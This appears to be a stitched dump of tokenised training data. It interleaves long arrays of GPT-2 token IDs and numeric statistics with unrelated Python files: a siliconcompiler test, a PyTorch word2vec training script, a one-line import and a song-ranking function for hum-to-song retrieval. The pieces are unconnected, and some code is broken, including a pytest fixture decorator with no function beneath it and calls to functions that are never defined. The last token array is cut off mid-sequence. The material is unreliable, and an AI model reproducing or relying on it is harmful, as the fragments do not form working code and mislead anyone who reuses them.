14817,
198,
198,
11748,
4818,
8079,
11,
33918,
11,
28686,
11,
640,
198,
198,
9800,
278,
62,
2539,
796,
366,
65,
2934,
25429,
69,
5333,
69,
20,
68,
19,
68,
18,
13331,
2780,
487,
20,
64,
1157,
65,
15,
69,
21288,
66,
1,
198,
198,
36996,
796,
366,
7038,
385,
1,
198,
198,
437,
4122,
796,
366,
5450,
1378,
90,
27422,
15042,
13,
66,
46610,
13,
40485,
13,
785,
1911,
18982,
7,
36996,
8,
628,
198,
2,
2262,
7246,
803,
257,
50168,
1797,
5456,
198,
16366,
796,
50168,
1797,
13838,
278,
11792,
7,
437,
4122,
11,
38655,
31007,
34,
445,
14817,
7,
9800,
278,
62,
2539,
4008,
628,
628,
628,
198
] | 2.972789 | 147 |
# Copyright 2020 Silicon Compiler Authors. All Rights Reserved.
import siliconcompiler
import pytest
@pytest.fixture
##################################
def test_minimum(chip):
'''API test for min/max() methods
'''
flow = chip.get('option', 'flow')
N = len(chip.getkeys('flowgraph', flow , 'syn'))
chip.write_flowgraph('minmax.png')
chip.write_manifest('minmax.json')
steplist = []
for i in range(N):
steplist.append(('syn',str(i)))
(score, winner) = chip.minimum(*steplist)
assert winner[0] + winner[1] == 'syn9'
| [
2,
15069,
12131,
18210,
3082,
5329,
46665,
13,
1439,
6923,
33876,
13,
198,
11748,
29867,
5589,
5329,
198,
11748,
12972,
9288,
198,
198,
31,
9078,
9288,
13,
69,
9602,
198,
198,
29113,
2235,
198,
4299,
1332,
62,
39504,
7,
35902,
2599,
198,
220,
220,
220,
705,
7061,
17614,
1332,
329,
949,
14,
9806,
3419,
5050,
198,
220,
220,
220,
705,
7061,
198,
220,
220,
220,
5202,
796,
11594,
13,
1136,
10786,
18076,
3256,
705,
11125,
11537,
198,
220,
220,
220,
399,
796,
18896,
7,
35902,
13,
1136,
13083,
10786,
11125,
34960,
3256,
5202,
837,
705,
28869,
6,
4008,
628,
220,
220,
220,
11594,
13,
13564,
62,
11125,
34960,
10786,
1084,
9806,
13,
11134,
11537,
198,
220,
220,
220,
11594,
13,
13564,
62,
805,
8409,
10786,
1084,
9806,
13,
17752,
11537,
628,
220,
220,
220,
2876,
489,
396,
796,
17635,
198,
220,
220,
220,
329,
1312,
287,
2837,
7,
45,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
2876,
489,
396,
13,
33295,
7,
10786,
28869,
3256,
2536,
7,
72,
22305,
198,
220,
220,
220,
357,
26675,
11,
8464,
8,
796,
11594,
13,
39504,
46491,
4169,
489,
396,
8,
198,
220,
220,
220,
6818,
8464,
58,
15,
60,
1343,
8464,
58,
16,
60,
6624,
705,
28869,
24,
6,
198
] | 2.703349 | 209 |
import torch.utils.data as ut
import torch
import cPickle as cp
import numpy as np
from utils import Progbar, getdata
from model import Word2vec
from torch.autograd import Variable
import torch.optim as optim
from constants import *
use_cuda = torch.cuda.is_available()
data = filter(lambda x: len(x) > 1, open(TEXT).read().split(' '))
word2ix = cp.load(open(VOCAB_FILE))
unigram_table = np.load(UNIGRAM_TABLE_FILE)
data = filter(lambda x: x in word2ix, data)
syn_set = {}
ant_set = {}
with open(PPDB_SYN_FILE) as f:
for line in f:
line = line.strip().split(' ')
syn_set = add2dict(line[0], line[1], syn_set, word2ix)
with open(PPDB_ANT_FILE) as f:
for line in f:
line = line.strip().split(' ')
ant_set = add2dict(line[0], line[1], ant_set, word2ix)
with open(WORDNET_ANT_FILE) as f:
for line in f:
line = line.strip().split(' ')
ant_set = add2dict(line[0], line[1], ant_set, word2ix)
# Convert the sets to lists
syn_set = {w: list(syn_set[w]) for w in syn_set}
ant_set = {w: list(ant_set[w]) for w in ant_set}
def generate_data(data, word2ix, window_size):
"""
Takes in a sequence of words, and returns the indexed data, a list of (word, [2 * window])
:param data: sequence of words
:param word2ix: dictionary mapping words to indexes
:param window_size: Lenght of window
:return indexed_data: List of (word_ix, [2 * window])
"""
indexed_data = []
for ix in xrange(window_size, len(data) - window_size):
word_ix = word2ix[data[ix]]
window = [word2ix[w] for w in data[ix - window_size: ix]] + [word2ix[w] for w in data[ix + 1: ix + window_size + 1]]
indexed_data.append((word_ix, window))
return indexed_data
window = 4
neg_samples = 25
n_syn = 4
n_ant = 4
indexed_data = generate_data(data, word2ix, window)
iterator = DataIterator(unigram_table, indexed_data, neg_samples, syn_set, ant_set, n_syn, n_ant)
BATCH_SIZE = 128
dataloader = ut.DataLoader(iterator, batch_size=BATCH_SIZE,
shuffle=True, num_workers=0)
N_EPOCHS = 5
# lr = 0.001
lr = 0.025
bar = Progbar(N_EPOCHS)
w2v = Word2vec(len(word2ix), 300, sparse=False)
optimizer = optim.Adagrad(w2v.parameters(), lr=lr)
words_processed = 0.
for epoch in xrange(N_EPOCHS):
n_batches = len(iterator) // BATCH_SIZE if len(iterator) % BATCH_SIZE == 0 else (len(iterator) // BATCH_SIZE) + 1
bar = Progbar(n_batches)
print "\nEpoch (%d/ %d)\n" % (epoch + 1, N_EPOCHS)
for ix, batch in enumerate(dataloader):
batch = map(lambda x: Variable(x), batch)
if use_cuda:
batch = map(lambda x: x.cuda(), batch)
loss, p_score, n_score, s_score, a_score = w2v(*batch)
loss.backward()
optimizer.step()
optimizer.zero_grad()
# Update the lr
words_processed += BATCH_SIZE
new_lr = lr * max(1e-4, 1. - (words_processed / (len(iterator) * N_EPOCHS)))
for param_groups in optimizer.param_groups:
param_groups['lr'] = new_lr
loss, p_score, n_score, s_score, a_score = map(lambda x: getdata(x).numpy()[0], [loss, p_score, n_score, s_score, a_score])
bar.update(ix + 1, values=[('l', loss), ('p', p_score), ('n', n_score), ('s', s_score), ('a', a_score), ('lr', new_lr)])
weights = w2v.embedding_i.weight
weights = weights.cpu() if use_cuda else weights
weights = weights.data.numpy()
save_file = BASE_DIR + "Models/vocab_matrix_with_syn_ant.npy"
np.save(save_file, weights)
| [
11748,
28034,
13,
26791,
13,
7890,
355,
3384,
198,
11748,
28034,
198,
11748,
269,
31686,
293,
355,
31396,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
3384,
4487,
1330,
1041,
70,
5657,
11,
651,
7890,
198,
6738,
2746,
1330,
9678,
17,
35138,
198,
6738,
28034,
13,
2306,
519,
6335,
1330,
35748,
198,
11748,
28034,
13,
40085,
355,
6436,
198,
6738,
38491,
1330,
1635,
628,
198,
1904,
62,
66,
15339,
796,
28034,
13,
66,
15339,
13,
271,
62,
15182,
3419,
198,
7890,
796,
8106,
7,
50033,
2124,
25,
18896,
7,
87,
8,
1875,
352,
11,
1280,
7,
32541,
737,
961,
22446,
35312,
10786,
705,
4008,
198,
4775,
17,
844,
796,
31396,
13,
2220,
7,
9654,
7,
53,
4503,
6242,
62,
25664,
4008,
198,
403,
328,
859,
62,
11487,
796,
45941,
13,
2220,
7,
4944,
3528,
24115,
62,
38148,
62,
25664,
8,
198,
7890,
796,
8106,
7,
50033,
2124,
25,
2124,
287,
1573,
17,
844,
11,
1366,
8,
628,
198,
198,
28869,
62,
2617,
796,
23884,
198,
415,
62,
2617,
796,
23884,
198,
198,
4480,
1280,
7,
47,
5760,
33,
62,
23060,
45,
62,
25664,
8,
355,
277,
25,
198,
220,
220,
220,
329,
1627,
287,
277,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1627,
796,
1627,
13,
36311,
22446,
35312,
10786,
705,
8,
198,
220,
220,
220,
220,
220,
220,
220,
6171,
62,
2617,
796,
751,
17,
11600,
7,
1370,
58,
15,
4357,
1627,
58,
16,
4357,
6171,
62,
2617,
11,
1573,
17,
844,
8,
198,
198,
4480,
1280,
7,
47,
5760,
33,
62,
8643,
62,
25664,
8,
355,
277,
25,
198,
220,
220,
220,
329,
1627,
287,
277,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1627,
796,
1627,
13,
36311,
22446,
35312,
10786,
705,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1885,
62,
2617,
796,
751,
17,
11600,
7,
1370,
58,
15,
4357,
1627,
58,
16,
4357,
1885,
62,
2617,
11,
1573,
17,
844,
8,
198,
198,
4480,
1280,
7,
54,
12532,
12884,
62,
8643,
62,
25664,
8,
355,
277,
25,
198,
220,
220,
220,
329,
1627,
287,
277,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1627,
796,
1627,
13,
36311,
22446,
35312,
10786,
705,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1885,
62,
2617,
796,
751,
17,
11600,
7,
1370,
58,
15,
4357,
1627,
58,
16,
4357,
1885,
62,
2617,
11,
1573,
17,
844,
8,
198,
198,
2,
38240,
262,
5621,
284,
8341,
198,
28869,
62,
2617,
796,
1391,
86,
25,
1351,
7,
28869,
62,
2617,
58,
86,
12962,
329,
266,
287,
6171,
62,
2617,
92,
198,
415,
62,
2617,
796,
1391,
86,
25,
1351,
7,
415,
62,
2617,
58,
86,
12962,
329,
266,
287,
1885,
62,
2617,
92,
628,
198,
4299,
7716,
62,
7890,
7,
7890,
11,
1573,
17,
844,
11,
4324,
62,
7857,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
33687,
287,
257,
8379,
286,
2456,
11,
290,
5860,
262,
41497,
1366,
11,
257,
1351,
286,
357,
4775,
11,
685,
17,
1635,
4324,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1366,
25,
8379,
286,
2456,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1573,
17,
844,
25,
22155,
16855,
2456,
284,
39199,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
4324,
62,
7857,
25,
12592,
456,
83,
286,
4324,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
7783,
41497,
62,
7890,
25,
7343,
286,
357,
4775,
62,
844,
11,
685,
17,
1635,
4324,
12962,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
41497,
62,
7890,
796,
17635,
198,
220,
220,
220,
329,
220,
844,
287,
2124,
9521,
7,
17497,
62,
7857,
11,
18896,
7,
7890,
8,
532,
4324,
62,
7857,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
1573,
62,
844,
796,
1573,
17,
844,
58,
7890,
58,
844,
11907,
198,
220,
220,
220,
220,
220,
220,
220,
4324,
796,
685,
4775,
17,
844,
58,
86,
60,
329,
266,
287,
1366,
58,
844,
532,
4324,
62,
7857,
25,
220,
844,
11907,
1343,
685,
4775,
17,
844,
58,
86,
60,
329,
266,
287,
1366,
58,
844,
1343,
352,
25,
220,
844,
1343,
4324,
62,
7857,
1343,
352,
11907,
198,
220,
220,
220,
220,
220,
220,
220,
41497,
62,
7890,
13,
33295,
19510,
4775,
62,
844,
11,
4324,
4008,
198,
220,
220,
220,
1441,
41497,
62,
7890,
628,
198,
198,
17497,
796,
604,
198,
12480,
62,
82,
12629,
796,
1679,
198,
77,
62,
28869,
796,
604,
198,
77,
62,
415,
796,
604,
198,
9630,
276,
62,
7890,
796,
7716,
62,
7890,
7,
7890,
11,
1573,
17,
844,
11,
4324,
8,
198,
48727,
796,
6060,
37787,
7,
403,
328,
859,
62,
11487,
11,
41497,
62,
7890,
11,
2469,
62,
82,
12629,
11,
6171,
62,
2617,
11,
1885,
62,
2617,
11,
299,
62,
28869,
11,
299,
62,
415,
8,
198,
33,
11417,
62,
33489,
796,
13108,
198,
67,
10254,
1170,
263,
796,
3384,
13,
6601,
17401,
7,
48727,
11,
15458,
62,
7857,
28,
33,
11417,
62,
33489,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
36273,
28,
17821,
11,
997,
62,
22896,
28,
15,
8,
198,
198,
45,
62,
8905,
46,
3398,
50,
796,
642,
198,
2,
300,
81,
796,
657,
13,
8298,
198,
14050,
796,
657,
13,
36629,
198,
5657,
796,
1041,
70,
5657,
7,
45,
62,
8905,
46,
3398,
50,
8,
198,
86,
17,
85,
796,
9678,
17,
35138,
7,
11925,
7,
4775,
17,
844,
828,
5867,
11,
29877,
28,
25101,
8,
198,
198,
40085,
7509,
796,
6436,
13,
2782,
363,
6335,
7,
86,
17,
85,
13,
17143,
7307,
22784,
300,
81,
28,
14050,
8,
198,
10879,
62,
14681,
276,
796,
657,
13,
198,
1640,
36835,
287,
2124,
9521,
7,
45,
62,
8905,
46,
3398,
50,
2599,
198,
220,
220,
220,
299,
62,
8664,
2052,
796,
18896,
7,
48727,
8,
3373,
347,
11417,
62,
33489,
611,
18896,
7,
48727,
8,
4064,
347,
11417,
62,
33489,
6624,
657,
2073,
357,
11925,
7,
48727,
8,
3373,
347,
11417,
62,
33489,
8,
1343,
352,
198,
220,
220,
220,
2318,
796,
1041,
70,
5657,
7,
77,
62,
8664,
2052,
8,
198,
220,
220,
220,
3601,
37082,
77,
13807,
5374,
37633,
67,
14,
4064,
67,
19415,
77,
1,
4064,
357,
538,
5374,
1343,
352,
11,
399,
62,
8905,
46,
3398,
50,
8,
198,
220,
220,
220,
329,
220,
844,
11,
15458,
287,
27056,
378,
7,
67,
10254,
1170,
263,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
15458,
796,
3975,
7,
50033,
2124,
25,
35748,
7,
87,
828,
15458,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
779,
62,
66,
15339,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
15458,
796,
3975,
7,
50033,
2124,
25,
2124,
13,
66,
15339,
22784,
15458,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2994,
11,
279,
62,
26675,
11,
299,
62,
26675,
11,
264,
62,
26675,
11,
257,
62,
26675,
796,
266,
17,
85,
46491,
43501,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2994,
13,
1891,
904,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
6436,
7509,
13,
9662,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
6436,
7509,
13,
22570,
62,
9744,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
10133,
262,
300,
81,
198,
220,
220,
220,
220,
220,
220,
220,
2456,
62,
14681,
276,
15853,
347,
11417,
62,
33489,
198,
220,
220,
220,
220,
220,
220,
220,
649,
62,
14050,
796,
300,
81,
1635,
3509,
7,
16,
68,
12,
19,
11,
352,
13,
532,
357,
10879,
62,
14681,
276,
1220,
357,
11925,
7,
48727,
8,
1635,
399,
62,
8905,
46,
3398,
50,
22305,
198,
220,
220,
220,
220,
220,
220,
220,
329,
5772,
62,
24432,
287,
6436,
7509,
13,
17143,
62,
24432,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5772,
62,
24432,
17816,
14050,
20520,
796,
649,
62,
14050,
198,
220,
220,
220,
220,
220,
220,
220,
2994,
11,
279,
62,
26675,
11,
299,
62,
26675,
11,
264,
62,
26675,
11,
257,
62,
26675,
796,
3975,
7,
50033,
2124,
25,
651,
7890,
7,
87,
737,
77,
32152,
3419,
58,
15,
4357,
685,
22462,
11,
279,
62,
26675,
11,
299,
62,
26675,
11,
264,
62,
26675,
11,
257,
62,
26675,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
2318,
13,
19119,
7,
844,
1343,
352,
11,
3815,
41888,
10786,
75,
3256,
2994,
828,
19203,
79,
3256,
279,
62,
26675,
828,
19203,
77,
3256,
299,
62,
26675,
828,
19203,
82,
3256,
264,
62,
26675,
828,
19203,
64,
3256,
257,
62,
26675,
828,
19203,
14050,
3256,
649,
62,
14050,
8,
12962,
198,
43775,
796,
266,
17,
85,
13,
20521,
12083,
62,
72,
13,
6551,
198,
43775,
796,
19590,
13,
36166,
3419,
611,
779,
62,
66,
15339,
2073,
19590,
198,
43775,
796,
19590,
13,
7890,
13,
77,
32152,
3419,
198,
21928,
62,
7753,
796,
49688,
62,
34720,
1343,
366,
5841,
1424,
14,
18893,
397,
62,
6759,
8609,
62,
4480,
62,
28869,
62,
415,
13,
77,
9078,
1,
198,
37659,
13,
21928,
7,
21928,
62,
7753,
11,
19590,
8,
198
] | 2.305828 | 1,527 |
import LevelBuilder
from sprites import * | [
11748,
5684,
32875,
198,
6738,
42866,
1330,
1635
] | 5.125 | 8 |
from typing import Dict, List
import pickle
import numpy as np
def predict_song(neighbors: Dict[str, List[int]]) -> Dict[str, List[int]]:
"""predict the ranks of song ids for each hum given its retrieved song neighbors
The most importance job is choose the first place song
The rules are, given one hum query and its retrieved neighbors:
1. if in top 10, there is no song id that appear 2 times then the rank
follow the distance rank
2. if in top 10, there is a song that appear >= 3 times, it must be ranked first place
3. if in top 10, there are song ids that appear 2 times and their ranks < 5, it will be ranked first
4. if in top 10, there are more than one song id that appear >= 2 times,
choose the one that has rank sum smaller to be top 1, then the second rank is the next
the other positions will follow the distance rank given that it is not already in the ranked list.
"""
# first we only choose the first rank song
# assume song_ids are all ints
ranked_ = {}
for qname, nbs in neighbors.items():
chosen = []
# if one song appear more than 3 times in top 5, it must be the one
# if the nearest song is not ranked first by this rule, it must be ranked second
ids, counts = np.unique(nbs[:5], return_counts = True)
max_count = np.max(counts)
if max_count >=3:
idx = list(counts).index(max_count)
chosen.append(ids[idx])
if nbs[0] != chosen[0]:
chosen.append(nbs[0])
ranked_[qname] = chosen
continue
# if in top 5 there are *2* song_ids that both appear 2 times, then the one
# that on top 1 and appear 2 times will be the first, the one on top 2
# or larger and appear 2 times will be the second
ids, counts = np.unique(nbs[:5], return_counts = True)
max_count = np.max(counts)
if len(ids) == 3 and max_count == 2:
nearest_song = nbs[0]
idx_of_nearest_song = list(ids).index(nearest_song)
count_of_nearest_song = counts[idx_of_nearest_song]
if count_of_nearest_song == 2:
chosen.append(nearest_song)
for i, c in enumerate(counts):
if c == 2 and ids[i] not in chosen:
chosen.append(ids[i])
ranked_[qname] = chosen
continue
# if in top 5, there is *one* song_id that appear 2 times and one of that is
# top 1, then it must be the one
# if that song_id appear 2 times but not the nearest, then it still ranked
# top 1 but the second ranked is the nearest
ids, counts = np.unique(nbs[:5], return_counts = True)
if len(ids) == 4:
nearest_song_id = nbs[0]
idx_of_nearest_song = list(ids).index(nearest_song_id)
if counts[idx_of_nearest_song] == 2:
chosen.append(nearest_song_id)
ranked_[qname] = chosen
continue
elif counts[idx_of_nearest_song] == 1:
idx = list(counts).index(2)
song_id = ids[idx]
chosen.append(song_id)
chosen.append(nearest_song_id)
# if top 10 are 10 different songs, the just take those
ids, counts = np.unique(nbs[:10], return_counts = True)
if len(ids) == 10:
chosen = nbs[:10]
ranked_[qname] = list(chosen)
continue
# if in top 5, there are 5 different song ids, and there is one or more
# song_ids that also appear on top 10 and on top 5, then it will be the
# first rank, the second rank is the one that nearest(if the previous is
# not the nearest)
ids, counts = np.unique(nbs[:5], return_counts = True)
if len(ids) == 5: # also means max_count == 1
new_ids, new_counts = np.unique(nbs[5:10], return_counts = True)
for id in nbs[:5]:
if int(id) in new_ids:
chosen.append(id)
if len(chosen) == 0:
chosen = list(nbs[:10])
ranked_[qname] = chosen
continue
if chosen[0] != nbs[0]:
chosen.append(nbs[0])
ranked_[qname] = chosen
continue
if len(chosen) == 0:
ranked_[qname] = list(nbs[:10])
# now add the remaining neighbors to the rank list, follow the distance rank
for qname, ranks in ranked_.items():
if len(ranks) == 0:
print('ranks=0')
j = 0
while len(ranks) < 10 and j < len(neighbors[qname]):
if neighbors[qname][j] not in ranks:
ranks.append(neighbors[qname][j])
j+=1
while len(ranks) < 10:
ranks.append(0)
absences = set(neighbors.keys()) - set(ranked_.keys())
for qname in absences:
chosen = []
j = 0
while len(chosen) < 10 and j < len(neighbors[qname]):
if neighbors[qname][j] not in chosen:
chosen.append(neighbors[qname][j])
j +=1
while len(chosen) < 10:
chosen.append(0)
ranked_[qname] = chosen
return ranked_
if __name__ == '__main__':
neighbors = pickle.load(open(r'C:\Users\ASUS\Desktop\repositories\hum_to_find\neighbors.pkl', 'rb'))
val_data = pickle.load(open(r'C:\Users\ASUS\Desktop\repositories\hum_to_find\crepe_freq\val_data.pkl', 'rb'))
print(len(neighbors))
for qname, nbs in neighbors.items():
neighbors[qname] = [int(x) for x in neighbors[qname]]
rs = predict_song(neighbors)
print(len(rs))
mrr = []
for key in rs.keys():
for tup in val_data:
if key == tup[2]:
if int(tup[0]) not in list(rs[key]):
mrr.append(0)
else:
idx = list(rs[key]).index(int(tup[0])) +1
mrr.append(1/idx)
print(np.mean(mrr)) | [
6738,
19720,
1330,
360,
713,
11,
7343,
201,
198,
11748,
2298,
293,
201,
198,
201,
198,
11748,
299,
32152,
355,
45941,
201,
198,
201,
198,
201,
198,
4299,
4331,
62,
34050,
7,
710,
394,
32289,
25,
360,
713,
58,
2536,
11,
7343,
58,
600,
11907,
8,
4613,
360,
713,
58,
2536,
11,
7343,
58,
600,
60,
5974,
201,
198,
220,
220,
220,
37227,
79,
17407,
262,
9803,
286,
3496,
220,
2340,
329,
1123,
1311,
1813,
663,
29517,
3496,
12020,
201,
198,
220,
220,
220,
383,
749,
6817,
1693,
318,
3853,
262,
717,
1295,
3496,
201,
198,
220,
220,
220,
383,
3173,
389,
11,
1813,
530,
1311,
12405,
290,
663,
29517,
12020,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
352,
13,
611,
287,
1353,
838,
11,
612,
318,
645,
3496,
4686,
326,
1656,
362,
1661,
788,
262,
4279,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1061,
262,
5253,
4279,
201,
198,
220,
220,
220,
220,
220,
220,
220,
362,
13,
611,
287,
1353,
838,
11,
612,
318,
257,
3496,
326,
1656,
18189,
513,
1661,
11,
340,
1276,
307,
10307,
717,
1295,
201,
198,
220,
220,
220,
220,
220,
220,
220,
513,
13,
611,
287,
1353,
838,
11,
612,
389,
3496,
220,
2340,
326,
1656,
362,
1661,
290,
511,
9803,
1279,
642,
11,
340,
481,
307,
10307,
717,
201,
198,
220,
220,
220,
220,
220,
220,
220,
604,
13,
611,
287,
1353,
838,
11,
612,
389,
517,
621,
530,
3496,
4686,
326,
1656,
18189,
362,
1661,
11,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3853,
262,
530,
326,
468,
4279,
2160,
4833,
284,
307,
1353,
352,
11,
788,
262,
1218,
4279,
318,
262,
1306,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
262,
584,
6116,
481,
1061,
262,
5253,
4279,
1813,
326,
340,
318,
407,
1541,
287,
262,
10307,
1351,
13,
201,
198,
220,
220,
220,
37227,
201,
198,
220,
220,
220,
1303,
717,
356,
691,
3853,
262,
717,
4279,
3496,
201,
198,
220,
220,
220,
1303,
7048,
3496,
62,
2340,
389,
477,
493,
82,
201,
198,
220,
220,
220,
10307,
62,
796,
23884,
201,
198,
220,
220,
220,
329,
10662,
3672,
11,
299,
1443,
287,
12020,
13,
23814,
33529,
201,
198,
220,
220,
220,
220,
220,
220,
220,
7147,
796,
17635,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
530,
3496,
1656,
517,
621,
513,
1661,
287,
1353,
642,
11,
340,
1276,
307,
262,
530,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
262,
16936,
3496,
318,
407,
10307,
717,
416,
428,
3896,
11,
340,
1276,
307,
10307,
1218,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2340,
11,
9853,
796,
45941,
13,
34642,
7,
77,
1443,
58,
25,
20,
4357,
1441,
62,
9127,
82,
796,
6407,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
3509,
62,
9127,
796,
45941,
13,
9806,
7,
9127,
82,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
611,
3509,
62,
9127,
18189,
18,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4686,
87,
796,
1351,
7,
9127,
82,
737,
9630,
7,
9806,
62,
9127,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
2340,
58,
312,
87,
12962,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
299,
1443,
58,
15,
60,
14512,
7147,
58,
15,
5974,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
77,
1443,
58,
15,
12962,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
7147,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
287,
1353,
642,
612,
389,
1635,
17,
9,
3496,
62,
2340,
326,
1111,
1656,
362,
1661,
11,
788,
262,
530,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
326,
319,
1353,
352,
290,
1656,
362,
1661,
481,
307,
262,
717,
11,
262,
530,
319,
1353,
362,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
393,
4025,
290,
1656,
362,
1661,
220,
481,
307,
262,
1218,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2340,
11,
9853,
796,
45941,
13,
34642,
7,
77,
1443,
58,
25,
20,
4357,
1441,
62,
9127,
82,
796,
6407,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
3509,
62,
9127,
796,
45941,
13,
9806,
7,
9127,
82,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
2340,
8,
6624,
513,
290,
3509,
62,
9127,
6624,
362,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16936,
62,
34050,
796,
299,
1443,
58,
15,
60,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4686,
87,
62,
1659,
62,
710,
12423,
62,
34050,
796,
1351,
7,
2340,
737,
9630,
7,
710,
12423,
62,
34050,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
954,
62,
1659,
62,
710,
12423,
62,
34050,
796,
9853,
58,
312,
87,
62,
1659,
62,
710,
12423,
62,
34050,
60,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
954,
62,
1659,
62,
710,
12423,
62,
34050,
6624,
362,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
710,
12423,
62,
34050,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
1312,
11,
269,
287,
27056,
378,
7,
9127,
82,
2599,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
269,
6624,
362,
290,
220,
2340,
58,
72,
60,
407,
287,
7147,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
2340,
58,
72,
12962,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
7147,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
287,
1353,
642,
11,
612,
318,
1635,
505,
9,
3496,
62,
312,
326,
1656,
362,
1661,
290,
530,
286,
326,
318,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
1353,
352,
11,
788,
340,
1276,
307,
262,
530,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
326,
3496,
62,
312,
1656,
362,
1661,
475,
407,
262,
16936,
11,
788,
340,
991,
10307,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
1353,
352,
475,
262,
1218,
10307,
318,
262,
16936,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2340,
11,
9853,
796,
45941,
13,
34642,
7,
77,
1443,
58,
25,
20,
4357,
1441,
62,
9127,
82,
796,
6407,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
2340,
8,
6624,
604,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16936,
62,
34050,
62,
312,
796,
299,
1443,
58,
15,
60,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4686,
87,
62,
1659,
62,
710,
12423,
62,
34050,
796,
1351,
7,
2340,
737,
9630,
7,
710,
12423,
62,
34050,
62,
312,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
9853,
58,
312,
87,
62,
1659,
62,
710,
12423,
62,
34050,
60,
6624,
362,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
710,
12423,
62,
34050,
62,
312,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
7147,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
9853,
58,
312,
87,
62,
1659,
62,
710,
12423,
62,
34050,
60,
6624,
352,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4686,
87,
796,
1351,
7,
9127,
82,
737,
9630,
7,
17,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
